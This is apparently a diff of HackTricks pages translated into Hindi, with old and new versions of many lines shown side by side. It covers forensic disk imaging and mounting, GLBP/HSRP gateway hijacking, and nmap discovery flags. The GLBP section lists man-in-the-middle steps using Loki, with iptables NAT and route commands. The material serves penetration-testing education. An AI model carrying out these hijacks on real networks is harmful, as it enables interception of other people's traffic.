* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**।
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर पीआर जमा करके**।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## प्राप्ति
### DD
@ -19,7 +23,7 @@
#This will generate a raw copy of the disk
dd if=/dev/sdb of=disk.img
```
### dcfldd
### डीसीएफएलडी
```bash
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
@ -33,7 +37,7 @@ ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --descript
```
### EWF
आप **ewf tools** का उपयोग करके एक डिस्क छवि उत्पन्न कर सकते हैं। [**ewf tools**](https://github.com/libyal/libewf)
आप **ewf tools** का उपयोग करके एक डिस्क छवि उत्पन्न कर सकते हैं। [**ewf tools**](https://github.com/libyal/libewf)
```bash
ewfacquire /dev/sdb
#Name: evidence
@ -54,9 +58,9 @@ ewfacquire /dev/sdb
### कई प्रकार
**Windows** में आप फोरेंसिक्स इमेज को माउंट करने के लिए आर्सेनल इमेज माउंटर का मुफ्त संस्करण ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) उपयोग कर सकते हैं
**Windows** में आप फ्री संस्करण का उपयोग कर सकते हैं Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) को **फोरेंसिक्स इमेज को माउंट** करने के लिए
### रॉः
### Raw
```bash
#Get file type
file evidence.img
@ -65,8 +69,6 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b
#Mount it
mount evidence.img /mnt
```
### EWF
### EWF
```bash
#Get file type
@ -82,11 +84,11 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be
#Mount
mount output/ewf1 -o ro,norecovery /mnt
```
### ArsenalImageMounter
### आर्सेनल इमेज माउंटर
यह एक Windows एप्लिकेशन है जिसका उपय वॉल्यूम माउंट करने के लिए किया जा सकता है। आप इसे यहाँ से डाउनलोड कर सकते हैं [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
यह एक Windows एप्लिकेशन है जो वॉल्यूम को माउंट करने के लिए है। आप इसे यहाँ से डाउनलोड कर सकते हैं [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
### Errors
### त्रुटियाँ
* **`/dev/loop0 को केवल पढ़ने के लिए माउंट नहीं किया जा सकता`** इस मामले में आपको फ्लैग **`-o ro,norecovery`** का उपयोग करना होगा।
* **`गलत एफएस प्रकार, बुरा विकल्प, /dev/loop0 पर बुरा सुपरब्लॉक, कोडपेज या हेल्पर प्रोग्राम गायब है, या अन्य त्रुटि।`** इस मामले में माउंट विफल हुआ क्योंकि फाइलसिस्टम का ऑफसेट डिस्क इमेज के ऑफसेट से भिन्न है। आपको सेक्टर साइज और स्टार्ट सेक्टर खोजने की आवश्यकता है:
@ -102,18 +104,22 @@ Disk identifier: 0x00495395
Device Boot Start End Sectors Size Id Type
disk.img1 2048 208895 206848 101M 1 FAT12
```
नोट करें कि सेक्टर का आकार **512** है और प्रारंभ **2048** है। फिर छवि को इस प्रकार माउंट करें:
नोट करें कि सेक्टर का आकार **512** है और प्रारंभ **2048** है। फिर छवि को इस तरह माउंट करें:
```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते है**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर पीआर जमा करके**।
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण देखना है या HackTricks को PDF में डाउनलोड करना है**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**.
</details>

View file

@ -6,55 +6,59 @@
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहत हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपने हैकिंग ट्रिक्स साझा करें।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## FHRP हाइजैकिंग अवलोकन
### FHRP में अंदरूनी दृष्टि
FHRP का उद्देश्य नेटवर्क को मजबूती प्रदान करना है जिसे कई राउटरों को एक एकल आभासी इकाई में मिलाकर सुधारा जाता है, जिससे लोड वितरण और त्रुटि सहनशीलता में सुधार होता है। Cisco Systems ने इस सुइट में प्रमुख प्रोटोकॉल जैसे GLBP और HSRP पेश किए हैं।
FHRP को नेटवर्क की मजबूती प्रदान करने के लिए डिज़ाइन किया गया है जिसमें कई राउटर्स को एक एकल आभासी इकाई में मिलाया जाता है, जिससे लोड वितरण और विफलता सहनशीलता में सुधार होता है। सिस्को सिस्टम्स ने इस सुइट में प्रमुख प्रोटोकॉल जैसे GLBP और HSRP पेश किए हैं।
### GLBP प्रोटोकॉल अंदरूनी दृष्टि
सिस्को का निर्माण, GLBP, TCP/IP स्टैक पर काम करता है, संचार के लिए UDP का उपयोग करता है। GLBP समूह में राउटर "हैलो" पैकेट्स को 3-सेकंड के अंतराल पर आदान-प्रदान करते हैं। यदि किसी राउटर ने 10 सेकंड के लिए इन पैकेट्स को नहीं भेजा, तो उसे ऑफलाइन माना जाता है। हालांकि, ये टाइमर निर्धारित नहीं हैं और संशोधित किए जा सकते हैं।
### GLBP प्रोटोकॉल की अंदरूनी दृष्टि
सिस्को का निर्माण, GLBP, TCP/IP स्टैक पर काम करता है, संचार के लिए UDP का उपयोग करता है जो पोर्ट 3222 पर होता है। GLBP समूह में राउटर "हैलो" पैकेट्स को 3-सेकंड के अंतराल पर आपस में विनिमय करते हैं। यदि किसी राउटर ने 10 सेकंड के लिए इन पैकेट्स को नहीं भेजा, तो उसे ऑफलाइन माना जाता है। हालांकि, ये टाइमर निर्धारित नहीं हैं और संशोधित किए जा सकते हैं।
### GLBP कार्य और लोड वितरण
GLBP एकल आभासी आईपी के साथ कई आभासी मैक पते का उपयोग करके राउटरों के बीच लोड वितरण को संभालता है। GLBP समूह में हर राउटर पैकेट फॉरवर्डिंग में शामिल है। HSRP/VRRP के विपरीत, GLBP कई तरीकों से वास्तविक लोड वितरण प्रदान करता है:
GLBP एकल आभासी आईपी के साथ कई आभासी मैक पते का उपयोग करके राउटर्स के बीच लोड वितरण को संभालता है। GLBP समूह में हर राउटर पैकेट फॉरवर्डिंग में शामिल है। HSRP/VRRP की तुलना में, GLBP कई तरीकों के माध्यम से वास्तविक लोड बैलेंसिंग प्रदान करता है:
- **होस्ट-डिपेंडेंट लोड बैलेंसिंग:** एक होस्ट को स्थिर एवीएफ मैक पता कार्यान्वित करना, स्थिर एनएटी कॉन्फ़िगरेशन के लिए आवश्यक है।
- **राउंड-रॉबिन लोड बैलेंसिंग:** डिफ़ॉल्ट दृष्टिकोण, अनुरोध करने वाले होस्टों के बीच एवीएफ मैक पता कार्यान्वित करना
- **वेटेड राउंड-रॉबिन लोड बैलेंसिंग:** पूर्वनिर्धारित "वेट" मैट्रिक्स के आधार पर लोड वितरण करना
- **होस्ट-डिपेंडेंट लोड बैलेंसिंग:** एक होस्ट को स्थिर एवीएफ़ मैक पता का निर्धारण रखता है, जो स्थिर एनएटी कॉन्फ़िगरेशन के लिए आवश्यक है।
- **राउंड-रॉबिन लोड बैलेंसिंग:** डिफ़ॉल्ट दृष्टिकोण, अनुरोध करने वाले होस्टों के बीच एवीएफ़ मैक पता का निर्धारण बारी-बारी से करता है
- **वेटेड राउंड-रॉबिन लोड बैलेंसिंग:** पूर्वनिर्धारित "वेट" मैट्रिक्स के आधार पर लोड वितरण करता है
### GLBP में मुख्य घटक और शब्दावली
- **AVG (सक्रिय आभासी गेटवे):** मुख्य राउटर, सहपी राउटरों को मैक पते आवंटित करने के लिए जिम्मेदार।
- **AVG (सक्रिय आभासी गेटवे):** मुख्य राउटर, पीयर राउटर्स को मैक पते आवंटित करने के लिए जिम्मेदार।
- **AVF (सक्रिय आभासी फ़ोरवर्डर):** नेटवर्क ट्रैफ़िक प्रबंधित करने के लिए निर्धारित एक राउटर।
- **GLBP प्राथमिकता:** AVG को निर्धारित करने वाला मैट्रिक्स, जो डिफ़ॉल्ट रूप से 100 से शुरू होता है और 1 से 255 तक होता है।
- **GLBP वेट:** एक राउटर पर वर्तमान लोड को प्रतिबिंबित करता है, जिसे मैन्युअल रूप से या ऑब्जेक्ट ट्रैकिंग के माध्यम से समायोजित किया जा सकता है।
- **GLBP आभासी आईपी पता:** सभी कनेक्टेड उपकरणों के लिए नेटवर्क का डिफ़ॉल्ट गेटवे के रूप में काम करता है।
संवाद के लिए, GLBP आरक्षित मल्टीकास्ट पता 224.0.0.102 और UDP पोर्ट 3222 का उपयोग करता है। राउटर 3-सेकंड के अंतराल पर "हैलो" पैकेट्स भेजते हैं, और यदि 10-सेकंड की अवधि के दौरान कोई पैकेट छूट जाता है, तो वे गैर-परिचालनीय माने जाते हैं।
संवाद के लिए, GLBP ने आरक्षित मल्टीकास्ट पता 224.0.0.102 और UDP पोर्ट 3222 का उपयोग किया है। राउटर 3-सेकंड के अंतराल पर "हैलो" पैकेट्स भेजते हैं, और यदि 10-सेकंड की अवधि में कोई पैकेट छूट जाता है, तो वे गैर-परिचालनीय माने जाते हैं।
### GLBP हमले की विधि
एक हमलावता GLBP पैकेट भेजकर हमलावता प्राथमिक राउटर बन सकता है जिसमें सर्वोच्च प्राथमिकता मान (255) होता है। यह DoS या MITM हमलों का कारण बन सकता है, जिससे ट्रैफिक अंशग्रहण या पुनर्निर्देशन संभव हो
एक हमलावता GLBP पैकेट भेजकर एक हमलावता राउटर बन सकता है जिसमें सर्वोच्च प्राथमिकता मान (255) होता है। इससे DoS या MITM हमले हो सकते हैं, जिससे ट्रैफ़िक अंतरग्रहण या पुनर्निर्देशन हो सकता है
### Loki के साथ GLBP हमले का कार्यान्वयन
[Loki](https://github.com/raizo62/loki_on_kali) एक GLBP हमला कर सकता है जिसमें प्राथमिकता और वेट सेट किए गए 255 के साथ एक पैकेट डालकर। पूर्व-हमले कदम उपकरणों का उपयोग करके वर्चुअल आईपी पता, प्रमाणीकरण की उपस्थिति, और राउटर प्राथमिकता मूल्यों जैसी जानकारी इकट्ठा करने की शामिल है।
### Loki के साथ एक GLBP हमला करना
[Loki](https://github.com/raizo62/loki_on_kali) एक GLBP हमला कर सकता है जिसमें प्राथमिकता और वेट सेट किए गए होते हैं। पूर्व-हमले कदम उपकरणों का उपयोग करके वायरशार्क का उपयोग करके वर्चुअल आईपी पता, प्रमाणीकरण की उपस्थिति, और राउटर प्राथमिकता मूल्यों जैसी जानकारी इकट्ठा करने की आवश्यकता होती है।
हमले कदम:
1. प्रोमिस्क्यूअस मोड पर स्विच करें और आईपी फॉरवर्डिंग सक्षम करें।
2. लक्षित राउटर की पहचान करें और उसका आईपी प्राप्त करें।
3. एक ग्रेट्यूटस ARP उत्पन्न करें।
4. AVG का अनुकरण करते हुए एक दुर्भाग्यपूर्ण GLBP पैकेट डालें।
5. हमलावता के नेटवर्क इंटरफेस पर एक सेकेंडरी आईपी पता का निर्धारण करें, GLBP वर्चुअल आईपी का अभिकरण करते हुए।
6. पूर्ण ट्रैफ़िक दृश्यता के लिए एसएनएटी का अमल करें।
5. हमलावता नेटवर्क इंटरफेस को एक सेकेंडरी आईपी पता सौंपें, GLBP वर्चुअल आईपी का अभिकरण करते हुए।
6. पूर्ण ट्रैफ़िक दृश्यता के लिए एसएनएटी को लागू करें।
7. मूल AVG राउटर के माध्यम से निरंतर इंटरनेट एक्सेस सुनिश्चित करने के लिए रूटिंग समायोजित करें।
इन कदमों का पालन करके, हमलावता खुद को "मैन इन द मिडिल" के रूप में स्थापित करता है, जो नेटवर्क ट्रैफ़िक, सहित अनएन्क्रिप्टेड या संवेदनशील डेटा को अंशग्रहण और विश्लेषण करने में सक्षम होता है।
इन कदमों का पालन करके, हमलावता खुद को "मध्य में व्यक्ति" के रूप में स्थापित करता है, जो नेटवर्क ट्रैफ़िक, अक्रिप्ट या संवेदनशील डेटा सहित, को अंतरग्रहण और विश्लेषण करने में सक्षम होता है।
प्रदर्शन के लिए, यहाँ आवश्यक कमांड स्निपेट्स हैं:
```bash
@ -70,20 +74,20 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
### HSRP हाइजैकिंग का पैशिव विवरण और कमांड विवरण
### HSRP हाइजैकिंग का पैशिव विवरण कमांड विवरण के साथ
#### HSRP का अवलोकन (हॉट स्टैंडबाई राउटर/पुनरावर्तन प्रोटोकॉल)
HSRP एक सिस्को प्रोप्राइटरी प्रोटोकॉल है जो नेटवर्क गेटवे पुनरावर्तन के लिए डिज़ाइन किया गया है। इसकी मदद से कई भौतिक राउटर्स को एक एकल तार्किक इकाई में कॉन्फ़िगर किया जा सकता है जिसमें एक साझा आईपी पता होता है। यह तार्किक इकाई प्रमुख राउटर द्वारा प्रबंधित की जाती है जो ट्रैफ़िक को निर्देशित करने के लिए जिम्मेदार होता है। GLBP की तरह, जो लोड बैलेंसिंग के लिए प्राथमिकता और वज़न जैसी मैट्रिक्स का उपयोग करता है, HSRP ट्रैफ़िक प्रबंधन के लिए एक ही सक्रिय राउटर पर निर्भर है।
#### HSRP का अवलोकन (हॉट स्टैंडबाई राउटर/पुनरावृत्ति प्रोटोकॉल)
HSRP एक सिस्को प्रोप्राइटरी प्रोटोकॉल है जो नेटवर्क गेटवे पुनरावृत्ति के लिए डिज़ाइन किया गया है। इसकी मदद से कई भौतिक राउटर्स को एक एकल तार्किक इकाई में कॉन्फ़िगर किया जा सकता है जिसमें एक साझा आईपी पता होता है। यह तार्किक इकाई प्रमुख राउटर द्वारा प्रबंधित की जाती है जो ट्रैफ़िक को निर्देशित करने के लिए जिम्मेदार होता है। GLBP की तरह, जो लोड बैलेंसिंग के लिए प्राथमिकता और वज़न जैसी मैट्रिक्स का उपयोग करता है, HSRP ट्रैफ़िक प्रबंधन के लिए एक ही सक्रिय राउटर पर निर्भर है।
#### HSRP में भूमिकाएँ और शब्दावली
- **HSRP सक्रिय राउटर**: गेटवे के रूप में कार्य करने वाली डिवाइस, ट्रैफ़िक फ्लो का प्रबंधन करना।
- **HSRP स्टैंडबाई राउटर**: एक बैकअप राउटर, जो सक्रिय राउटर की विफलता के मामले में कार्रवाई करने के लिए तैयार है।
- **HSRP समूह**: एक एकल सहायक वर्चुअल राउटर बनाने के लिए सहयोग करने वाले राउटरों का समूह
- **HSRP समूह**: एक एकल सहायक वर्चुअल राउटर बनाने के लिए सहयोग करने वाले राउटरों का एक सेट
- **HSRP MAC पता**: HSRP सेटअप में तार्किक राउटर को निर्धारित किया गया वर्चुअल MAC पता।
- **HSRP वर्चुअल आईपी पता**: HSRP समूह का वर्चुअल आईपी पता, जो कनेक्टेड डिवाइसेज के लिए डिफ़ॉल्ट गेटवे के रूप में कार्य करता है।
- **HSRP वर्चुअल आईपी पता**: HSRP समूह का वर्चुअल आईपी पता, जो कनेक्टेड डिवाइस के लिए डिफ़ॉल्ट गेटवे के रूप में कार्य करता है।
#### HSRP संस्करण
HSRP दो संस्करणों में आता है, HSRPv1 और HSRPv2, जिनमें समूह क्षमता, मल्टीकास्ट आईपी उपयोग, और वर्चुअल MAC पता संरचना में मुख्य रूप से अंतर है। प्रोटोकॉल विशेष मल्टीकास्ट आईपी पते का उपयोग सेवा सूचना विनिमय के लिए करता है, हलो पैकेट्स हर 3 सेकंड में भेजे जाते हैं। एक राउटर को अव्याक्त माना जाता है अगर 10 सेकंड के अंतराल में कोई पैकेट प्राप्त नहीं होता है।
HSRP दो संस्करणों में आता है, HSRPv1 और HSRPv2, जिनमें समूह क्षमता, मल्टीकास्ट आईपी उपयोग, और वर्चुअल MAC पता संरचना में मुख्य रूप से अंतर है। प्रोटोकॉल विशेष मल्टीकास्ट आईपी पते का उपयोग सेवा सूचना विनिमय के लिए करता है, हलो पैकेट्स हर 3 सेकंड में भेजे जाते हैं। एक राउटर को अव्याक्त माना जाता है अगर 10 सेकंड के अंतराल में कोई पैकेट प्राप्त नहीं होता है।
#### HSRP हमले की तंत्रिका
HSRP हमले में सक्रिय राउटर की भूमिका को ज़बरदस्ती अधिकतम प्राथमिकता मान कर लेना शामिल है। यह एक मैन-इन-द-मिडल (MITM) हमले की ओर ले जा सकता है। महत्वपूर्ण पूर्व-हमले कदमों में HSRP सेटअप के बारे में डेटा इकट्ठा करना शामिल है, जो ट्रैफ़िक विश्लेषण के लिए Wireshark का उपयोग करके किया जा सकता है।
HSRP हमले में सक्रिय राउटर की भूमिका को ज़बरदस्ती से अधिक प्राथमिकता मान कर लेना शामिल है। यह एक मैन-इन-द-मिडिल (MITM) हमले की ओर ले जा सकता है। महत्वपूर्ण पूर्व-हमले कदमों में HSRP सेटअप के बारे में डेटा जुटाना शामिल है, जो ट्रैफ़िक विश्लेषण के लिए वायरशार्क का उपयोग करके किया जा सकता है।

View file

@ -2,17 +2,21 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
```
@ -22,31 +26,224 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
* **`<ip>,<net/mask>`:** IPs को सीधे इंडिकेट करें
* **`-iL <ips_file>`:** सूची_IPs
* **`-iR <number>`**: यादृच्छिक Ips की संख्या, आप `--exclude <Ips>` या `--excludefile <file>` के साथ संभावित Ips को छोड़ सकते हैं।
* **`-iR <number>`**: रैंडम IPs की संख्या, आप `--exclude <Ips>` या `--excludefile <file>` के साथ संभावित IPs को बाहर कर सकते हैं।
### उपकरण खोज
निम्नलिखित डिस्कवरी चरण को लॉन्च करने के लिए Nmap डिफ़ॉल्ट रूप से एक डिस्कवरी चरण शुरू करता है: `-PA80 -PS443 -PE -PP`
निम्नलिखित डिस्कवरी फेज को लॉन्च करता है Nmap: `-PA80 -PS443 -PE -PP`
* **`-sL`**: यह अत्यधिक आक्रामक नहीं है, यह लक्ष्यों की सूची बनाता है जो नामों को हल करने के लिए **DNS** अनुरोध करते हैं। यह उपयोगी है यदि आप जानना चाहते हैं कि क्या उदाहरण के लिए www.prueba.es/24 सभी Ips हमारे लक्ष्य हैं।
* **`-Pn`**: **कोई पिंग नहीं**। यह उपयोगी है अगर आप जानते हैं कि सभी वे सक्रिय हैं (अगर नहीं, तो आप बहुत समय खो सकते हैं, लेकिन यह विकल्प भी गलत नकारात्मक उत्तर देता है कि वे सक्रिय नहीं हैं), यह डिस्कवरी चरण को रोकता है।
* **`-sn`** : **कोई पोर्ट स्कैन नहीं**जासूसी चरण पूरा करने के बाद, यह पोर्ट स्कैन नहीं करता है। यह अपेक्षाकृत छिपकली है, और एक छोटे नेटवर्क स्कैन करने देता है। विशेषाधिकारों के साथ यह 80 को ACK (-PA) भेजता है, 443 को SYN(-PS) भेजता है और एक इको अनुरोध और एक समयचिह्न अनुरोध भेजता है, विशेषाधिकारों के बिना यह हमेशा कनेक्शन पूरा करता है। यदि लक्ष्य नेटवर्क है, तो यह केवल ARP(-PR) का उपयोग करता है। यदि इसे किसी अन्य विकल्प के साथ उपयोग किया जाता है, तो केवल दूसरे विकल्प के पैकेट ड्रॉप किए जाते हैं।
* **`-sL`**: यह अत्यधिक आक्रामक नहीं है, यह लक्ष्यों की सूची बनाता है जिसमें नामों को हल करने के लिए **DNS** अनुरोध किए जाते हैं। यह उपयोगी है यदि आप जानना चाहते हैं कि क्या उदाहरण के लिए www.prueba.es/24 सभी IPs हमारे लक्ष्य हैं।
* **`-Pn`**: **कोई पिंग नहीं**। यह उपयोगी है अगर आप जानते हैं कि सभी वे सक्रिय हैं (अगर नहीं, तो आप बहुत समय खो सकते हैं, लेकिन यह विकल्प भी गलत नकारात्मक परिणाम देता है कि वे सक्रिय नहीं हैं), यह डिस्कवरी फेज को रोकता है।
* **`-sn`** : **कोई पोर्ट स्कैन नहीं**अनुसंधान फेज पूरा करने के बाद, यह पोर्ट स्कैन नहीं करता है। यह अपेक्षाकृत छिपकली है, और एक छोटे नेटवर्क स्कैन करने की अनुमति देता है। विशेषाधिकारों के साथ, यह 80 को ACK (-PA) भेजता है, 443 को SYN(-PS) भेजता है और एक इको अनुरोध और एक समयचिह्न अनुरोध भेजता है, बिना विशेषाधिकारों के हमेशा कनेक्शन पूरा होता है। यदि लक्ष्य नेटवर्क है, तो केवल ARP(-PR) का उपयोग किया जाता है। यदि दूसरे विकल्प के साथ उपयोग किया जाता है, तो केवल दूसरे विकल्प के पैकेट ड्रॉप किए जाते हैं।
* **`-PR`**: **पिंग ARP**। यह डिफ़ॉल्ट रूप से हमारे नेटवर्क में कंप्यूटरों का विश्लेषण करते समय उपयोग किया जाता है, यह पिंग का उपयोग करने से तेज है। यदि आप ARP पैकेट का उपयोग नहीं करना चाहते हैं तो `--send-ip` का उपयोग करें।
* **`-PS <ports>`**: यह SYN पैकेट भेजता है जिसे यदि यह SYN/ACK के साथ जवाब देता है तो खुला है (जिसे यह RST के साथ जवाब देता है ताकि कनेक्शन समाप्त न हो), यदि यह RST के साथ जवाब देता है तो बंद है और यदि यह जवाब नहीं देता है तो अपरिहार्य है। यदि विशेषाधिकार नहीं हैं, तो समूर्ण कनेक्शन स्वचालित रूप से उपयोग किया जाता है। यदि कोई पोर्ट नहीं दिया गया है, तो यह 80 पर फेंक देता है।
* **`-PA <ports>`**: पिछले वाले के समान लेकिन ACK के साथ, दोनों को मिलाकर बेहतर परिणाम मिलते हैं।
* **`-PU <ports>`**: उद्देश्य उल्टा है, वे पोर्ट्स पर भेजे जाते हैं जिनका अपेक्षित है कि वे बंद हों। कुछ फ़ायरवॉल केवल TCP कनेक्शन की जांच करते हैं। यदि यह बंद है तो यह पोर्ट अपरिहार्य के साथ जवाब देता है, यदि यह किसी अन्य icmp के साथ जवाब देता है या जवाब नहीं देता है तो यह गंतव्य अपरिहार्य रूप से छोड़ दिया जाता है।
